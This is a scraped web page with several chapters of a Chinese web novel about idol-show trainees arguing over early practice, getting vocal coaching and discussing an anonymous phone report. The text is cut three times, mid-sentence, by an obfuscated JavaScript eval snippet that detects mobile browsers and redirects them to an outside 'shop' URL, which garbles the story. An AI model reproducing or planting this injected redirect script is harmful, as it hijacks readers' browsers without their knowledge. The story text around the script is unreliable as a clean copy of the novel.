车明杰不是很赞同:“你时间不能这么算啊,虽然有其他录制,但能花多少时间?十二天是实打实的,这里时间被用掉了,我们从其他地方挤就是了。而且就算去掉其他的录制时间,我们今天上午和下午也各有三个小时,再加上晚上的三个小时,都有九个小时了,每天九个小时,十二——哦不,八天,时间不比主题曲充裕得多的多?” 从安:“那你们一公想继续拿主题曲的成绩吗?我不想,我想赢,我不想输。” 从安主题曲拿了全场最高分,他说的不想拿主题曲的成绩,肯定不是指自己,他是在指其他人。 拿了C,拿了D,拿了F的队友们。 想赢,还是接着拿F? “想赢,和主题曲一样是不够的,要比主题曲好,更好,更更好才行。” “不能和主题曲一样努力,要比主题曲更努力。” “九个小时?”从安摇头,“不够,你们主题曲的练习时长没有九个小时吗?结果呢?” 从安看着众人脸上各异的表情,没再说话,开始吃饭。 没人再反驳从安,刚才脸上的轻松表情也没了,看着面前的美食,只感觉肚子里沉甸甸的,饱了。 52.队长的权威 从安的话像一块沉重的石头,压进了每个人的餐盘里。 李瑞盯着碗里还剩一半的米饭,突然就没了胃口。他在心里默默吐槽:大哥,知道您老人家要求高,但也不用这么制造焦虑吧?这才第二天,能不能让人喘口气? 他一抬头,正好对上对面楚沛的眼神。 楚沛脸上没什么表情,但那双总是懒洋洋垂着的眼睛里,此刻清晰地写着两个字——绝望。 两人视线在空中交汇,瞬间读懂了彼此没说出的话: 救……命……啊…… 从安刚才那番时间账本,简直就是一台行走的焦虑生产机。 什么八天、什么碎片化、什么必须超越主题曲的努力……每一个字都在往他们本就不轻松的心脏上压秤砣。 李瑞甚至觉得,盘子里的鸡胸肉都散发着“你时间不够了”的悲壮气息。 晚饭在一种诡异的沉默中结束。 没人再讨论时间够不够,也没人敢说“其实我觉得还好”。 所有人都闷头吃完,收拾餐盘时动作都比平时沉重。 走回练习室的路上,夕阳把六个影子拉得很长。 平时这个时候,车明杰总会蹦蹦跳跳说点什么,沈言和楚沛也会偶尔搭话。 但今天,只有脚步声。 晚上十点,一天的练习即将结束。 从安收起平板,看了眼墙上的时钟,然后转向自己的队员们。 “明天早上,”他说,声音在安静的练习室里格外清晰,“我们六点在这里集合。” 话音落下的瞬间,练习室里的空气凝固了。 车明杰不敢置信。 “几点?”他猛地转过身,眼睛瞪得老大,“从安,你说几点?” 是他的耳朵坏了还是脑子坏了?他刚才好像听见从安说六点集合? 从安复述:“六点集合。” 车明杰后退一步。 不对,一定是有哪里不对,怎么会有人要求六点集合? 隔壁安文乐组的人听见动静看了过来。 车明杰摇头:“七点已经很早了,再早就折磨人了。现在十点,我们回去洗漱收拾一下,再躺下睡觉就已经很晚了,六点集合,那我们五点就得起,这会死人的……” 光是说,车明杰就已经承受不来。 从安:“就像晚餐时我说的那样,我们的时间并不够。” 车明杰皱起眉,十分不解:“怎么会不够呢?我们有十二天,整整十二天。就算按你说的去掉这些那些,也还有八天,八天练一首歌,我们六个人,怎么会不够?” “你这样的说法太焦虑了。”车明杰越说越肯定,“我们从昨天到现在,舞蹈都顺下来了,进度很快。你为什么非要制造这种紧张气氛?” 车明杰顿了一下,猛地意识到什么,“还是说你觉得说得越严重,就越显得你这个队长有远见?” 话一出口,车明杰就觉得自己说对了。 不然根本无法解释这一切。 十二天的时间,《坠落》难度本来就不大,但从安先是在食堂以录制的名义,缩减他们的训练时间,然后又用主题曲的成绩,引起大家的焦虑。 最后,顺理成章的提出六点集合的要求。 ——这分明是计划好的! “车明杰……”李瑞想拉他,但手伸到一半又缩了回来。 “我说错了吗?”车明杰甩开并不存在的拉扯,提高了音量,“我们是在准备舞台,不是在打仗!有必要这样吗?一直传播焦虑,压力这么大,对练习有帮助吗?只会让大家更累!” 他盯着从安,一字一句地说:“还是你当我们是你博眼球的工具?试图用这样的行为彰显自己的权威?当个队长而已,还真以为自己有多大权利了?” 最后这句话说得太重,练习室里瞬间死寂。 沈言低下头,楚沛偏过脸,许安霖缩了缩肩膀。 李瑞张了张嘴,却发不出声音。 从安静静地站在原地,看着车明杰。 他没想到他的提议会引起如此大的意见。 车明杰目不转睛地盯着从安,脸上是自忖发现了从安想法的愤怒与得意。 从安移开视线,看向其他人。 “你们呢?”他问,声音很平静,“也觉得六点太早了吗?” 没人说话。 沈言盯着自己的鞋尖,楚沛看着窗外已经黑透的天空,许安霖的手指绞在一起。 李瑞想开口,但喉咙像被什么东西堵住了。 他知道从安不是车明杰说的那样。 他知道从安每天几点起床,知道从安在C班时是怎么练习的,在C班主题曲练习的时候,他和秦宽时常在一起就从安的作息和训练强度展开讨论。 平心而论,这两天从安带着他们练习,强度已经比他自己平时低了很多。 从安说那些话,是真的觉得时间不够,是真的想赢,也是真的……想带他们一起赢。 但另一方面,李瑞又觉得车明杰说得也有道理。 十二天,实实在在的十二天,再怎么碎片化,也比主题曲的三天充裕得多。 他们真的需要把自己逼到凌晨五点起床的地步吗? 两种想法在他脑子里打架,让他说不出话来。 从安等了大概半分钟。 半分钟里,练习室安静得能听见远处其他练习室隐约的音乐声,能听见窗外夏夜的虫鸣,能听见每个人压抑的呼吸。 半分钟后,从安点了点头。 “知道了。”他说。 没有解释,没有争论,没有试图说服任何人。 他只是简单地收起了自己的东西,把平板放好,又检查了一下练习室的东西。 然后他背上包,走向门口。 “明天见。”他说,声音依旧平静。 门打开,又关上,脚步声在走廊里渐行渐远。 练习室里剩下的五个人站在原地,谁也没有动。 红色区域安文乐组的人长大了嘴巴面面相觑,没想到今天会看到从安组这样几乎和内讧没什么差别的场景。 安文乐深深皱起了眉。 练习第二天,同曲对抗的A组就产生了矛盾,似乎是他们B组的机会。 抓住这个对手内讧的时机,提高自己,在最后的比拼中一举获胜。 但看着从安离去的背影,安文乐发现自己没有想象中的高兴。 车明杰还保持着刚才激动的姿势,胸膛起伏着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152285|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但眼里的愤怒已经渐渐变成了某种茫然。他好像也没想到从安会是这个反应——不吵不闹,直接走人。 沈言终于抬起头,小声说:“……我们是不是,说得太过分了?” 楚沛叹了口气,揉了揉眉心:“明天……要几点来?” 李瑞没说话,他看着那扇关上的门,心里乱成一团。 车明杰忽然抓起自己的包,大步朝门口走去。 “我回去了。”他扔下这句话,也消失在门外。 剩下的四人面面相觑。 第二天的训练,就此落下帷幕。 * 第二天清晨五点。 从安的闹钟准时响起,他在黑暗中睁开眼睛,按掉闹钟,坐起身。 宿舍里一片安静,三个室友还在沉睡。 窗外的天色透过窗帘透进房间,带来隐约的光线。 从安轻手轻脚地下床洗漱,换好训练服,镜子里的人脸颊瘦削,线条清晰,没有丝毫浮肿与疲倦。 经过这么多天,从安的身体已经完全适应了这个作息。 早睡早起和减肥锻炼,带来的不仅有下降的体重,还有饱满的状态,以及丝毫不水肿的脸。 五点十分,他离开宿舍楼。 基地里空无一人,路灯还亮着,在晨雾中晕开朦胧的光圈。 没有像往常一样锻炼,从安去了二十四小时便利店,买了六份三明治和牛奶——食堂六点开门,而他们六点开始练习,赶不上食堂的营业。 然后从安去了化妆室,对着镜子简单打了个底。 五点三十分,他推开《坠落》练习室的门。 灯亮起,镜子映出从安一个人的身影。 从安放下早餐,打开平板,调出《坠落》的伴奏。音乐响起时,他闭上眼睛,深吸一口气,然后开始热身。 身体在晨间的僵硬感随着拉伸逐渐消散。 他跳了一遍昨天的舞蹈,镜子里的人动作干净利落,但表情却不像平时那样专注——他的眼神偶尔会飘向门口。 五点五十分,从安停下来喝水。 练习室里依然只有他一个人。 他看着墙上的时钟,秒针一格一格地跳动。 五点五十五分。 门外传来脚步声。 从安抬起头。 门被推开,李瑞和许安霖一前一后走进来。 两人都穿着训练服,头发有些凌乱,脸上还带着没睡醒的困倦。 许安霖的眼皮甚至还有些肿。 看见从安,两人都愣了一下。 李瑞先反应过来,有些尴尬地笑了笑:“……早。” “早。”从安点点头,声音平静,“早餐在那边,先吃点。” 他指了指放在墙边的塑料袋。 李瑞和许安霖对视一眼,走过去拿出三明治和牛奶。 “谢谢队长。”许安霖小声说。 从安“嗯”了一声,重新开始热身:“吃完热身,我们六点准时开始。” 没有问“为什么只有你们两个”,没有问“车明杰他们呢”,也没有提昨晚的争执。 就好像一切都没有发生过。 就好像他们本来就是这三个人在这个时候来练习。 53.肉眼可见的提升 七点三十三分,练习室的门被推开时,李瑞几乎是条件反射地转过头去。 然后期待的心情瞬间低落下来。 不是车明杰。 不是沈言。 不是楚沛。 是安文乐组。 六个人鱼贯而入,有人还打着哈欠,有人手里拿着食堂的早餐,他们说说笑笑,脚步轻松地推门走了进来。 看见练习室里的从安三人时,脚步明显顿了一下。 安文乐的目光从从安身上扫过,又落在李瑞和许安霖身上,最后停在墙边那袋还没打开的三明治上。 他什么也没说,只是点了点头算打过招呼,带着自己的人走向红色区域。 李瑞收回视线,盯着镜子里的自己。 他不知道自己刚才那一刻在期待什么。 明明昨晚车明杰摔门走人的架势那么决绝,明明沈言和楚沛从头到尾都没有表态—— 但李瑞还是忍不住往门口看了。 七点四十分,七点五十分,七点五十五分…… 红色区域的音乐已经响起来了,安文乐组开始练习,他们今天比昨天来得更早,动作也更利落,好像憋着一股劲。 李瑞知道那股劲是什么。 昨天从安组吵架的时候,安文乐组全程旁观,现在人家摆明了要趁你病要你命。 而他们这边呢? 李瑞强迫自己把注意力收回来,跟着从安的节奏继续练。 许安霖在旁边一遍一遍地抠那个转身的动作,表情比昨天更专注,咬肌绷得紧紧的。 从安什么也没说,他只是在一点一点地和李瑞许安霖抠舞蹈动作,跳一会儿停下来,然后再提出修改建议。 一遍又一遍,不厌其烦。 时针即将走到八时,走廊里传来脚步声,李瑞没有回头,但在脚步停下的下一秒,他从镜子里看见练习室的门被推开,熟悉的人影出现。 车明杰走在最前面,沈言和楚沛跟在后面。 三个人穿着训练服,鲜艳的颜色在他们身上青春又靓丽,脸上是休息充足的容光焕发,头发自然的凌乱着,但发尾的弧度整齐且精致。 八点来到练习室,让他们有充足的时间去打理自己,甚至于化了全妆。 车明杰一进门就看见镜子前正在跳副歌部分的三个人。 他脚步顿了一下,表情有瞬间的不自然。 但很快,那种不自然就被某种刻意的坦然取代。 等到这一段结束后,车明杰开口:“早。”他说,声音平平的。 从安轻轻喘息,转过身。 “早。”他的语气和昨天没有任何区别,平静、简短,甚至还点了点头,“热身吧,我们刚过完副歌第一段。” 没有质问,没有冷脸,没有“你们迟到了两个小时”。 就好像他们只是去上了个厕所。 车明杰张了张嘴,原本准备了一路的那些话——如果你问为什么这么晚来我就说八点才是正常时间、如果你甩脸色我就跟你理论——突然就没了着落。 他沉默地把包放到墙角。 沈言和楚沛对视一眼,明显松了一口气。 沈言小声说了句“抱歉,起晚了”,声音轻得像怕惊动什么。 从安点点头,没接话,只是重新打开了音乐。 六个人站到镜子前。 沈言和楚沛快速融入队列。 他们昨天才顺下来的动作还没完全进肌肉记忆,经过一个晚上,动作变得生疏了些许,现在跳起来有些磕磕绊绊。 车明杰站在队伍右侧,比从安靠后半个身位。 虽然这支舞才学习了一天多,但车明杰舞蹈天赋极佳,这种难度的舞蹈,一天多的时间,已经足够他完整的掌握。 此刻他跳得很标准,力度到位,卡点精准。 但车明杰脑子里一直在转。 他就说吧。 六点集合根本就是制造焦虑。 八点集合,不是照样练?从安昨天说得那么严重,什么时间不够、什么必须超越主题曲、什么八天根本不是八天—— 结果呢? 今天他们八点来,从安连屁都没放一个。 这说明什么?说明他自己也知道六点集合站不住脚,说明他昨天就是虚张声势! 说明车明杰没猜错——从安就是想用这种手段显得自己有权威、有魄力、有领导力! 同样是当队长,从安就能让自己的队友们早上六点起来训练——这怎么不算一种能力? 车明杰对这种博镜头的手段清楚得很。 但从安千不该万不该,把自己的能力建立在''折磨''他们之上。 六点集合,怎么不算一种折磨? 这样的舞蹈,哪里用得着十二天?分明三天就能学完。 准备时间绰绰有余。 越想越觉得自己有理。 车明杰的动作不由得更用力了几分,像是在用这种方式表达自己的正确。 副歌第二次重复。 从安在前面领舞,动作依然是那种看似轻松、实则每一个弧度都精准控制着的质感。 车明杰余光扫了他一眼,心里冷笑。 行,你会装。 你就装吧。 第三次重复。 从安停下来,让大家分组练习副歌的队形变换。 李瑞和沈言一组,楚沛和许安霖一组,车明杰和—— 车明杰发现从安没有给自己分组。 “你和我。”从安说,“Dance Break那一段,我陪你抠。” 车明杰愣了一下,下意识想拒绝,但理由还没编出来,从安已经调出了那部分的纯音乐。 “昨天你说想要加自己的设计,”从安看着平板,语气公事公办,“做出来了吗?” 车明杰把拒绝的话咽了回去。 ……行,先练舞,其他的以后再说。 音乐响起。 Dance Break是《坠落》唯一一段完全独舞的部分,也是车明杰当初毫不犹豫抢下来的段落。 他太喜欢这部分了——自由、释放、可以让他的野性全开。 他跳了一遍自己昨晚琢磨的设计。 一个快速的滑步接身体wave,然后骤然停顿,眼神锐利地扫向镜头方向。 这是他最满意的部分,昨天晚上想到之后,对着宿舍镜子练了十几遍。 跳完,他微微喘着气,看向从安。 虽然并不觉得从安能提出什么建设性的意见,但从安作为唯一的观众,车明杰觉得还是可以听听对方的评价。 从安静了两秒,开口:“手腕。” “什么?” “停顿的时候,手腕角度太高了。”从安做了个示范,“低一点,让力量往下沉,不然那个停顿感会被卸掉。” 车明杰看着镜子里从安的示范,不得不承认……是好看的。 比他自己原本的动作更好看。 车明杰别扭地“嗯”了一声,照做。 然后从安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157410|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又说:“滑步之前的重心转移可以再晚半拍,这里卡着底鼓的余音进,张力会更强。” 再然后:“眼神不要一直盯着一个点,镜头是在动的,想象你在和它拉扯。” 一句接一句,就好像车明杰的动作全是问题。 车明杰浑身别扭,他耗费精力冥思苦想,在镜子前练习了那么多次,自己十分满意的动作,此刻在从安的嘴里,全是要修改的地方。 就好像他的动作很差一样。 但从安一边讲,一边做,在他的演示下,相同的动作确实变得不一样了。 等从安拿着平板,录完车明杰按照从安的建议再跳的动作后,看着视频里目光始终跟随着镜头的自己—— 车明杰不得不承认,从安提的建议,很有用。 那种感觉就像你精心打磨了一块石头,自以为已经够亮了,结果另一个人拿过来,轻轻擦了擦某个角落…… 石头突然就变成了玉。 “很不错的动作。”从安看完视频,看向车明杰,脸上露出了今天车明杰看到的第一个笑容:“你很厉害。” 车明杰心里的火突然就熄了,嘴角勾了勾,刚想笑,他突然意识到了自己嘴角的弧度,连忙抿唇。 “当然。”他的舞蹈,是绝对不差的。 又跳了几遍巩固动作,车明杰停下来擦汗,目光扫过其他练习的人,视线突然一顿。 许安霖正和楚沛一组练习副歌部分的动作,这是他们第二次完整过这段,从安还没开始细抠,只是让大家把动作顺下来。 然后车明杰看见了许安霖的一个转身。 昨天许安霖跳到这里的时候,肩膀是僵的,脖子是硬的,整个人像一根被强行拧成麻花的木棍。 车明杰当时扫了一眼就没再看,这么简单的动作能做得如此僵硬,让车明杰觉得不可思议的同时,也对他们的这个C位十分没有信心。 但现在,许安霖的肩膀松了。 不是完全松,还是有僵硬感,但那个弧度对了。 转身时他的视线会先落在空中的某个点,然后身体才跟过去,形成一种微妙的、被什么力量牵引着的感觉。 和昨天相比,完全是两个人。 车明杰的动作停住了。 他从不觉得许安霖能改掉这个动作,因为在他三个月的练习时长里,他在公司看到了太多动作一塌糊涂,却怎么也改不掉的练习生。 车明杰一遍就能做得很好的动作,那些人跳十遍,二十遍,除了做得更流畅之外,在车明杰眼里,和第一遍没有丝毫差别。 而许安霖,就和那些练习生一样。 所以车明杰从不觉得对方能改掉自己的动作。 但是现在,他看到了什么? 车明杰盯着镜子里许安霖的背影,盯着那个他昨天还不屑一顾的C位,盯着那些细微的、不仔细看根本发现不了的进步。 一个晚上。 一个晚上,许安霖的舞蹈表现力,肉眼可见地提升了。 不,不是肉眼可见,是只有内行才看得见。 车明杰是内行。 是什么造成了许安霖的改变?因为晚上睡了一觉吗? 不—— 是许安霖今天早上来练习了。 车明杰忽然想起昨天从安说的话。 “我们的时间并不够。” “十二天不是十二天,是八天。” “不能和主题曲一样努力,要比主题曲更努力。” 难道早起练习真的有用? 54.举报 不,不对,努力练习没有用。 有用的是和从安一起训练。 车明杰摇头。 刚才那么短暂的时间,从安就指出了他的问题,修改以后舞蹈质感确实得到了很大改善,这和他自己的练习无关,完全是从安的功劳。 这算什么? ——完全是从安的实力吧。 再看向从安,车明杰很难形容自己的心情。 他以为自己的舞蹈在节目里绝对数一数二,但现在摆在他面前的一切,却告诉他不是这样的。 而实力这么强的从安,眼力这么好的从安,能给他们提出建设性意见的从安,说他们时间不够,需要增加练习时间……车明杰一时之间有些摸不准了。 想法发生了变化,但练习还在继续。 又练习了几遍舞蹈之后,从安停下了宛如惯性般的放歌跳舞又放歌又跳舞的动作。 “我们开始练歌吧。” 今天的课表上,下午他们《坠落》组将迎来声乐导师晏尔的指点。 总不能声乐指点之前,什么都不练。 众人没有意见,纷纷同意了这样的安排。 不远处B组的众人看见从安组不再练舞,很快就想通了原因,也跟着改为练起声乐来。 但刚开始练没多久,练习室的门就被推开了。 众人回头一看,一个人走了进来。 一身简单的白衬衫,头发随意扎在脑后,手里拿着水杯,整个人散发着一种“我只是路过顺便看看”的松弛感——不是晏尔是谁? 不是,晏尔怎么现在就来了? 《坠落》的指点不是在下午吗? 晏尔扫了一圈练习室里呆若木鸡的十二个人,挑了挑眉。 “怎么,不欢迎我?” “欢迎欢迎欢迎!”李瑞疯狂点头,声音劈叉。 晏尔笑了一下,踱步进来。 走到练习室中间,位于红蓝区域的分界线上停了下来。 “但你们看起来见到我不是很高兴啊。”晏尔勾起嘴角。 “没有没有!”众人迅速反应过来,连忙聚集到了晏尔面前。 他们的惊讶只是来自于录制时间的变化,而不是对晏尔本人。 晏尔可是新生代最强的歌手,谁会拒绝来自晏尔的指导? 晏尔目光从自己面前的练习生上面扫过,看见从安时顿了一下,很快面色如常地移开了目光。 “那么,就给我展示一下吧,谁先来?” 刚刚还活跃的气氛顿时安静了。 在晏尔的面前展示声乐? 虽然早就知道有这个环节,但是真到这个时候,单独一个人当着这么多人的面在晏尔面前唱歌,还是压力很大啊! 众人你看看我我看看你,没人说话。 晏尔见状,正要开口点名,从安上前一步。 “我先来吧。” 众人瞬间看向从安的背影。 勇士! 晏尔换了个更舒服的姿势,颔首:“来吧。” 没有音乐,没有节奏,从安拿着歌词本,看着属于自己的段落,深吸一口气,直接唱了起来。 段落不长,唱完也就几十秒。 唱完之后,练习室一片安静。 晏尔的表情没有丝毫变化,众人打量着她的目光,分不清这是满意还是不满意。 不对,他们作为练习生,又怎么可能在晏尔面前唱出让她满意的歌呢? 能让晏尔满意,那得是什么水准的声乐水平? “气息不稳,有些飘,音准也不对,尤其是这个尾音。”晏尔没有看歌词,直接唱出了从安刚才唱的那一段,着重强调了她说的尾音,“听出差别了吗?” 没有夸赞,没有批评,只是单纯的指点。 所有人顿时松了一口气。 当着晏尔这么厉害的歌手的面唱歌,真的很怕露怯,但他们身为练习生,又怎么可能不露怯。 而此刻晏尔专业的态度,无疑让所有人脱离了被评价的氛围,心态变得更平和。 这是一堂课,一堂修正错误,精进自己的课。 他们正是要在课中展现自己的不足,这样才能获得更大的进步。 十二个人的声乐指点,全部轮下来,每个人都获益颇多。 等拍摄结束,晏尔的身影消失在门后,李瑞才依依不舍地收回目光。 晏尔的这一堂大师课,简直比他过去两年的练习还强! “就是你小子,晏尔导师之前也是你的导师是吧?”李瑞一把揽住从安,胳膊一夹,锁喉! 这么爽的大师课,从安居然之前就上过了! 从安举手求饶:“没有没有!之前晏尔导师只给我们当评委来着,并没有给我们上课!” “是吗?”李瑞松开胳膊,“既然这样,那我原谅你了,但是晏尔导师为什么上午就来了啊,我根本就没有准备好!如果她下午来,我肯定能表现得更好!” 听见李瑞的哀嚎,练习室里的众人,纷纷露出来赞同的目光。 * 晏尔走后没多久,上午的时间就差不多结束了。 没有多磨蹭,大家很有默契的在一次练习结束后停下了动作。 吃饭不积极,思想有问题。 不用催促,众人动作很快的收拾好东西,一起离开了练习室。 红蓝色的AB两组,第一次如此整齐的出现在了走廊上。 到了食堂,十二人分散开来,各自去打自己喜欢的饭菜。 从安的选择十分明确,从进入节目第一天起,他的目的地就只有一个:位于角落的减脂餐窗口。 在这个菜色丰富,味道诱人的食堂,他却只能自始至终的吃减脂餐……呵,这是人性的毁灭还是道德的沦丧? 从安无法调理。 再路过那些对着菜品讨论惊叹苦恼今天要吃什么的练习生,从安目不斜视,用一种堪称光速的速度,打完了属于自己的一份午餐,然后坐到了空位上。 食物,是诱惑,是罪恶。 而他,将收获帅气的面庞,完美的身材,和充沛的精力。 食欲这种东西,他没有! 从安眼神坚定,大口大口的吃起了自己的午餐。 等李瑞等人终于打完饭坐到从安身边时,从安的午餐已经吃完了大半。 “你们猜——”李瑞坐下之后没急着吃饭,反而压低声音把头凑到了所有人中间,表情是那种掌握了惊天大秘密的亢奋,“晏尔老师为什么上午就来我们组了?” 众人抬头。 “上午的其他组提前录完了?”沈言猜。 “嗯~”李瑞摇手指,声音百转千回,他身子前倾,声音压得更低,“我刚刚去拿饮料, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167676|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听见工作人员在说——” 他顿了顿,确保所有人的注意力都在他身上。 “上午原定晏尔老师去的那组,有人被抓到使用手机。” 许安霖手里的筷子停住了。 “节目组把人叫走了。”李瑞说,“整组人,一起叫走的。据说那个练习生现在还在小黑屋接受调查,下午还能不能录制都不知道。” “使用手机……”沈言喃喃,“被抓?” 车明杰皱起眉。 节目组明文规定:录制期间,所有手机统一保管,禁止私藏。 这条规定写在选手手册第一页,加粗,红字,签过确认书。 但所有人都知道,这条规定形同虚设。 一百个练习生,至少一半都私藏了手机。 藏法五花八门——塞床垫底下、粘在衣柜顶板、甚至有人把手机拆成零件藏在空调出风口。 节目组睁一只眼闭一只眼。 没抓到的时候,只当不知道。 “他怎么会被抓到?”车明杰好奇,“那么多人带手机,怎么就他被抓?” 李瑞的表情变得微妙起来。 “……有人举报。”他说。 安静。 那种安静不是没人说话,是所有人都停下了咀嚼。 “举报?”楚沛重复,声音里带着某种难以置信。 “对。”李瑞叹了口气,“听说是收到匿名举报,说有人在杂物间玩手机,工作人员去看,果然抓到了。” 车明杰把筷子拍在桌上。 “谁举报的?”他声音拔高了,“这么阴?” 偷偷举报,如此卑鄙。 “不知道。”李瑞摇头,“匿名。” “肯定是故意的。”车明杰冷笑,压着声音但压不住火气,“一百个人带手机,他谁都不举报,就举报这个人?这不就是想搞他吗?” 沈言皱着眉,没说话。 楚沛靠在椅背上,手指无意识地在桌面轻敲,半晌开口:“用手机还是小心点吧。” 他顿了顿,语气淡淡的,听不出情绪。 “最好不用。” 许安霖一直低着头,筷子机械地在碗里拨动。楚沛说话时,他动作顿了一下,很快又恢复如常。 车明杰还在愤愤不平:“我就想不通了,举报他有什么用?自己又不能多块肉,干嘛做这种事?” “可能……”李瑞斟酌着措辞,“就是想让他受惩罚吧。” “这也太恶心了!”车明杰声音又高了一度,“这还是人吗?” 没人说话,但每个人的表情都不是很好看。 带手机的行为固然不对,但举报的人更是恶意满满。 但是这样的行为不难理解。 在这样一个竞争的节目里,把别人压下去,自己是不是就能起来了呢? 大家无法不这么想。 许安霖低着头,就差把脸埋进碗里。 气氛陡然沉默起来。 “我在想……”从安的声音幽幽响起:“你们吃的是不是有点多?” 他的视线扫过李瑞餐盘里冒尖的红烧肉,车明杰的奶茶,沈言的炸鸡,楚沛的小蛋糕,最后落在唯一热量没那么高的许安霖的餐盘上。 “为了上镜效果,我觉得你们需要减肥。” 气氛顿时如零下的水,被冻了起来。 55.全员到齐 从安的话像一颗石子投入池塘,激起的涟漪在每个人脸上荡开不同的纹路。 李瑞最先反应过来。 他低头看了看自己碗里的红烧肉。 油汪汪的,酱色浓郁,每一块都闪着诱人的光泽。然后又抬头看向从安的餐盘。 水煮鸡胸。 西兰花。 糙米饭。 三种颜色,三种味道,三种毫无灵魂的存在。 李瑞的嘴角抽了抽。 他想起主题曲那会儿,在食堂和从安吃饭。 那时他就觉得这人太狠了,天天吃这玩意儿,活着还有什么意思? 但后来他亲眼看着从安一天天瘦下来,脸部的线条越来越清晰,下颌线越来越锋利。 他当时就在想,原来真的有人能靠吃草把自己吃成雕塑。 但他从没想过,这把火有一天会烧到自己身上。 现在火来了。 李瑞看着自己的红烧肉,第一次认真地思考,他是不是真的有点……放肆了? “不是,”车明杰的声音打断了他的思绪,“等会儿,我们刚才不是在说手机的事吗?怎么突然就跳到减肥了?” 他一脸茫然地看看从安,又看看自己面前的奶茶,仿佛这两件事之间隔着次元壁。 “而且,”他补充道,语气里带着货真价实的不解,“我们几个……不瘦吗?” 他低头看了看自己的手臂,又捏了捏自己的腰。 肌肉线条分明,腹肌隐约可见,这身材放出去不说男模级别,至少也是健身博主水准吧?还需要减? 许安霖没有说话。 他低着头,筷子在碗里无意识地拨动着,把几根青菜从左边拨到右边,又从右边拨回左边。几秒钟后,他抬起头,看向从安。 “我现在上镜……”他的声音有点轻,像是在问一个自己不太敢知道答案的问题,“不够好看吗?” 还想说话的李瑞和车明杰顿时安静下来。 昨天晚上回宿舍的时候,李瑞有想过今天早上六点会有哪些人去练习室呢? 他自己肯定是会去的。因为他和从安相处了那么久,他知道从安的为人,从安说出这样的话,就是在为他们好。 他也不是什么分不清好坏的人,一定要和从安对着干。 但是昨天晚上的气氛那么僵持,其他人会不会来,李瑞实在是摸不清。 今天早上只在练习室看见许安霖,李瑞有一种既吃惊又果然如此的感觉。 他们组六个人,从安不必说,车明杰一看就十分自信,甚至自信到有些自傲的地步。 沈言和楚沛虽然不怎么说话,但李瑞通过观察看得出来,他们其实并不是那么听话的人,心里面有很多的想法。 而许安霖无疑是肉眼可见的一个想法非常多人的人,并且他把想法都摆在了脸上。 如果用影视作品当中的好人,坏人来区分,那许安霖就是非常典型的恶毒男配,事事和主角对着干的那种。 但李瑞完全能理解许安霖的想法。 长得好看,有些天分。 但训练时长短公司也不给力,还没什么背景。 那这样的情况下当然会牢牢的抓紧自己的优势,不放过任何一次机会。 至于这机会怎么来?这不重要,重要的是要拥有这个机会。 现在许安霖毫无疑问,拥有了一个机会。 而他肯定也是不愿意放弃这个机会的。 并且会为了这个机会付出自己的全部。 就像今天早上六点,他是唯二个出现在练习室的人之一。 现在会反问从安,想必也是真的很在意自己上镜的效果。 从安对上许安霖的目光,顿了一秒。 “不是。”他说,语气平静但清晰,“你现在上镜已经很好看了。” 许安霖的眼神闪了闪。 “但是,”从安继续说,“如果再瘦一点,你的五官会更精致。尤其是颧骨到下颌这一段。”他抬手在自己脸上比划了一下,“线条会更清晰。配合《坠落》这首歌需要的脆弱感,会有一种……一碰就要碎掉的感觉。” 他顿了顿。 “会更适合这首歌的风格。。” 许安霖听完,低下头,又开始拨弄那几根青菜。 楚沛靠在椅背上,手指有一下没一下地敲着桌面。 沈言的表情若有所思。 车明杰皱着眉,似乎在消化一碰就要碎掉的感觉到底是什么感觉。 李瑞长叹一口气,把最后一块红烧肉塞进嘴里,用力嚼着,像是在和什么告别。 从安没有再多说什么。他端起自己的餐盘,把最后几口西兰花吃完,然后放下筷子。 “只是建议。”他说。 两个字。 但所有人都听懂了。 就像昨天的六点集合一样。 从安说的是“我们六点集合”,但最后只有两个人来了。 其他人八点到的时候,他没有质问,没有冷脸,没有“你们迟到了两个小时”。 他只是平静地打开音乐,继续练习。 他不强求。 他说他的判断,做他的选择。 至于别人跟不跟,那是别人的事。 建议这两个字,从他嘴里说出来,就是这个意思。 餐桌上陷入一种微妙的沉默。 没有人再讨论手机的事,也没有人再说“我们够瘦了不需要减”。 红烧肉还在,奶茶还在,炸鸡和小蛋糕也在。 但每个人吃进嘴里的速度,好像都慢了下来。 一顿饭,就这样在安静中结束了。 下午的练习照常进行。 晏尔的指导像一剂催化剂,让所有人的声乐状态都提升了一截。 李瑞反复练着自己的段落,沈言和楚沛的和声越来越默契,车明杰对着镜子一遍遍抠表情管理,许安霖依然在角落里,一遍遍地练属于自己的C位段落。 从安依然是往常的节奏,练舞,纠正,放音乐,再来。 